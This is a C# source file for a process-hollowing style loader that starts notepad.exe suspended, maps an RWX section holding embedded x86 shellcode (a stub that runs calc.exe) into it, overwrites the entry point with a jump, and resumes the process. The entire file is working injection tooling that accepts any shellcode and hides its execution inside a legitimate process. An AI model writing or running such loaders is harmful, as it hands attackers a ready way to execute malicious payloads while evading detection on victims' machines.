using System; using System.Collections.Generic; using System.Runtime.InteropServices; using System.Text; namespace Hollowing { public class Loader { public static byte[] target_ = Encoding.ASCII.GetBytes("calc.exe"); public static string HollowedProcessX85 = "C:\\Windows\\SysWOW64\\notepad.exe"; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_BASIC_INFORMATION { public IntPtr Reserved1; public IntPtr PebAddress; public IntPtr Reserved2; public IntPtr Reserved3; public IntPtr UniquePid; public IntPtr MoreReserved; } [StructLayout(LayoutKind.Sequential)] internal struct STARTUPINFO { uint cb; IntPtr lpReserved; IntPtr lpDesktop; IntPtr lpTitle; uint dwX; uint dwY; uint dwXSize; uint dwYSize; uint dwXCountChars; uint dwYCountChars; uint dwFillAttributes; uint dwFlags; ushort wShowWindow; ushort cbReserved; IntPtr lpReserved2; IntPtr hStdInput; IntPtr hStdOutput; IntPtr hStdErr; } public const uint PageReadWriteExecute = 0x40; public const uint PageReadWrite = 0x04; public const uint PageExecuteRead = 0x20; public const uint MemCommit = 0x00001000; public const uint SecCommit = 0x08000000; public const uint GenericAll = 0x10000000; public const uint CreateSuspended = 0x00000004; public const uint DetachedProcess = 0x00000008; public const uint CreateNoWindow = 0x08000000; [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] private static extern int ZwCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile); [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] private static extern int ZwMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot); [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] private static extern void GetSystemInfo(ref SYSTEM_INFO lpSysInfo); [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] private static extern IntPtr GetCurrentProcess(); [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] private static extern void CloseHandle(IntPtr handle); [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] private static extern int ZwUnmapViewOfSection(IntPtr hSection, IntPtr address); [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] private static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation); [DllImport("kernel32.dll")] static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll", SetLastError = true)] private static extern uint ResumeThread(IntPtr hThread); [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen); [DllImport("kernel32.dll", SetLastError = true)] static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumWritten); [DllImport("kernel32.dll")] static extern uint GetLastError(); [StructLayout(LayoutKind.Sequential)] public struct SYSTEM_INFO { public uint dwOem; public uint dwPageSize; public IntPtr lpMinAppAddress; public IntPtr lpMaxAppAddress; public IntPtr dwActiveProcMask; public uint dwNumProcs; public uint dwProcType; public uint dwAllocGranularity; public ushort wProcLevel; public ushort wProcRevision; } [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct LARGE_INTEGER { public uint LowPart; public int HighPart; } static IntPtr section_; static IntPtr localmap_; static IntPtr remotemap_; static IntPtr localsize_; static IntPtr remotesize_; static IntPtr pModBase_; static IntPtr pEntry_; static uint rvaEntryOffset_; static uint size_; static byte[] inner_; public static uint round_to_page(uint size) { SYSTEM_INFO info = new SYSTEM_INFO(); GetSystemInfo(ref info); return (info.dwPageSize - size % info.dwPageSize) + size; } const int AttributeSize = 24; private static bool nt_success(long v) { return (v >= 0); } public static IntPtr GetCurrent() { return GetCurrentProcess(); } /*** * Maps a view of the current section into the process specified in procHandle. */ public static KeyValuePair MapSection(IntPtr procHandle, uint protect, IntPtr addr) { IntPtr baseAddr = addr; IntPtr viewSize = (IntPtr)size_; long status = ZwMapViewOfSection(section_, procHandle, ref baseAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, protect); if (!nt_success(status)) throw new SystemException("[x] Something went wrong! " + status); return new KeyValuePair(baseAddr, viewSize); } /*** * Attempts to create an RWX section of the given size */ public static bool CreateSection(uint size) { LARGE_INTEGER liVal = new LARGE_INTEGER(); size_ = round_to_page(size); liVal.LowPart = size_; long status = ZwCreateSection(ref section_, GenericAll, (IntPtr)0, ref liVal, PageReadWriteExecute, SecCommit, (IntPtr)0); return nt_success(status); } /*** * Maps a view of the section into the current process */ public static void SetLocalSection(uint size) { KeyValuePair vals = MapSection(GetCurrent(), PageReadWriteExecute, IntPtr.Zero); if (vals.Key == (IntPtr)0) throw new SystemException("[x] Failed to map view of section!"); localmap_ = vals.Key; localsize_ = vals.Value; } /*** * Copies the shellcode buffer into the section */ public static void CopyShellcode(byte[] buf) { long lsize = size_; if (buf.Length > lsize) throw new IndexOutOfRangeException("[x] Shellcode buffer is too long!"); unsafe { byte* p = (byte*)localmap_; for (int i = 0; i < buf.Length; i++) { p[i] = buf[i]; } } } /*** * Create a new process using the binary located at "path", starting up suspended. */ public static PROCESS_INFORMATION StartProcess(string path) { STARTUPINFO startInfo = new STARTUPINFO(); PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); uint flags = CreateSuspended;// | DetachedProcess | CreateNoWindow; if (!CreateProcess((IntPtr)0, path, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo)) throw new SystemException("[x] Failed to create process!"); return procInfo; } const ulong PatchSize = 0x10; /*** * Constructs the shellcode patch for the new process entry point. It will build either an x86 or x64 payload based * on the current pointer size. * Ultimately, we will jump to the shellcode payload */ public static KeyValuePair BuildEntryPatch(IntPtr dest) { int i = 0; IntPtr ptr; ptr = Marshal.AllocHGlobal((IntPtr)PatchSize); unsafe { byte* p = (byte*)ptr; byte[] tmp = null; if (IntPtr.Size == 4) { p[i] = 0xb8; // mov eax, i++; Int32 val = (Int32)dest; tmp = BitConverter.GetBytes(val); } else { p[i] = 0x48; // rex i++; p[i] = 0xb8; // mov rax, i++; Int64 val = (Int64)dest; tmp = BitConverter.GetBytes(val); } for (int j = 0; j < IntPtr.Size; j++) p[i + j] = tmp[j]; i += IntPtr.Size; p[i] = 0xff; i++; p[i] = 0xe0; // jmp [r|e]ax i++; } return new KeyValuePair(i, ptr); } /** * We will locate the entry point for the main module in the remote process for patching. */ private static IntPtr GetEntryFromBuffer(byte[] buf) { IntPtr res = IntPtr.Zero; unsafe { fixed (byte* p = buf) { uint e_lfanew_offset = *((uint*)(p + 0x3c)); // e_lfanew offset in IMAGE_DOS_HEADERS byte* nthdr = (p + e_lfanew_offset); byte* opthdr = (nthdr + 0x18); // IMAGE_OPTIONAL_HEADER start ushort t = *((ushort*)opthdr); byte* entry_ptr = (opthdr + 0x10); // entry point rva int tmp = *((int*)entry_ptr); rvaEntryOffset_ = (uint)tmp; // rva -> va if (IntPtr.Size == 4) res = (IntPtr)(pModBase_.ToInt32() + tmp); else res = (IntPtr)(pModBase_.ToInt64() + tmp); } } pEntry_ = res; return res; } /** * Locate the module base addresss in the remote process, * read in the first page, and locate the entry point. */ public static IntPtr FindEntry(IntPtr hProc) { PROCESS_BASIC_INFORMATION basicInfo = new PROCESS_BASIC_INFORMATION(); uint tmp = 0; long success = ZwQueryInformationProcess(hProc, 0, ref basicInfo, (uint)(IntPtr.Size * 6), ref tmp); if (!nt_success(success)) throw new SystemException("[x] Failed to get process information!"); IntPtr readLoc = IntPtr.Zero; byte[] addrBuf = new byte[IntPtr.Size]; if (IntPtr.Size == 4) { readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8); } else { readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16); } IntPtr nRead = IntPtr.Zero; if (!ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead) || nRead == IntPtr.Zero) throw new SystemException("[x] Failed to read process memory!"); if (IntPtr.Size == 4) readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0)); else readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); pModBase_ = readLoc; if (!ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead) || nRead == IntPtr.Zero) throw new SystemException("[x] Failed to read module start!"); return GetEntryFromBuffer(inner_); } /** * Map our shellcode into the remote (suspended) process, * locate and patch the entry point (so our code will run instead of * the original application), and resume execution. */ public static void MapAndStart(PROCESS_INFORMATION pInfo) { KeyValuePair tmp = MapSection(pInfo.hProcess, PageReadWriteExecute, IntPtr.Zero); if (tmp.Key == (IntPtr)0 || tmp.Value == (IntPtr)0) throw new SystemException("[x] Failed to map section into target process!"); remotemap_ = tmp.Key; remotesize_ = tmp.Value; KeyValuePair patch = BuildEntryPatch(tmp.Key); try { IntPtr pSize = (IntPtr)patch.Key; IntPtr tPtr = new IntPtr(); if (!WriteProcessMemory(pInfo.hProcess, pEntry_, patch.Value, pSize, out tPtr) || tPtr == IntPtr.Zero) throw new SystemException("[x] Failed to write patch to start location! " + GetLastError()); } finally { if (patch.Value != IntPtr.Zero) Marshal.FreeHGlobal(patch.Value); } byte[] tbuf = new byte[0x1000]; IntPtr nRead = new IntPtr(); if (!ReadProcessMemory(pInfo.hProcess, pEntry_, tbuf, 1024, out nRead)) throw new SystemException("Failed!"); uint res = ResumeThread(pInfo.hThread); if (res == unchecked((uint)-1)) throw new SystemException("[x] Failed to restart thread!"); } public IntPtr GetBuffer() { return localmap_; } ~Loader() { if (localmap_ != (IntPtr)0) ZwUnmapViewOfSection(section_, localmap_); } /** * Given a path to a binary and a buffer of shellcode, * 1.) start a new (supended) process * 2.) map a view of our shellcode buffer into it * 3.) patch the original process entry point * 4.) resume execution */ public static void Load(string targetProcess, byte[] shellcode) { PROCESS_INFORMATION pinf = StartProcess(targetProcess); FindEntry(pinf.hProcess); if (!CreateSection((uint)shellcode.Length)) throw new SystemException("[x] Failed to create new section!"); SetLocalSection((uint)shellcode.Length); CopyShellcode(shellcode); MapAndStart(pinf); CloseHandle(pinf.hThread); CloseHandle(pinf.hProcess); } public Loader() { section_ = new IntPtr(); localmap_ = new IntPtr(); remotemap_ = new IntPtr(); localsize_ = new IntPtr(); remotesize_ = new IntPtr(); inner_ = new byte[0x1000]; // Reserve a page of scratch space byte[] shellcode = new byte[184] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 0x00,0x53,0xff,0xd5 }; byte[] finalshellcode = new byte[shellcode.Length + target_.Length + 1]; Array.Copy(shellcode, finalshellcode, shellcode.Length); Array.Copy(target_, 0, finalshellcode, shellcode.Length, target_.Length); finalshellcode[shellcode.Length + target_.Length] = 0; try { Load(HollowedProcessX85, finalshellcode); } catch (Exception e) { Console.WriteLine("[x] Something went wrong!" + e.Message); } } } }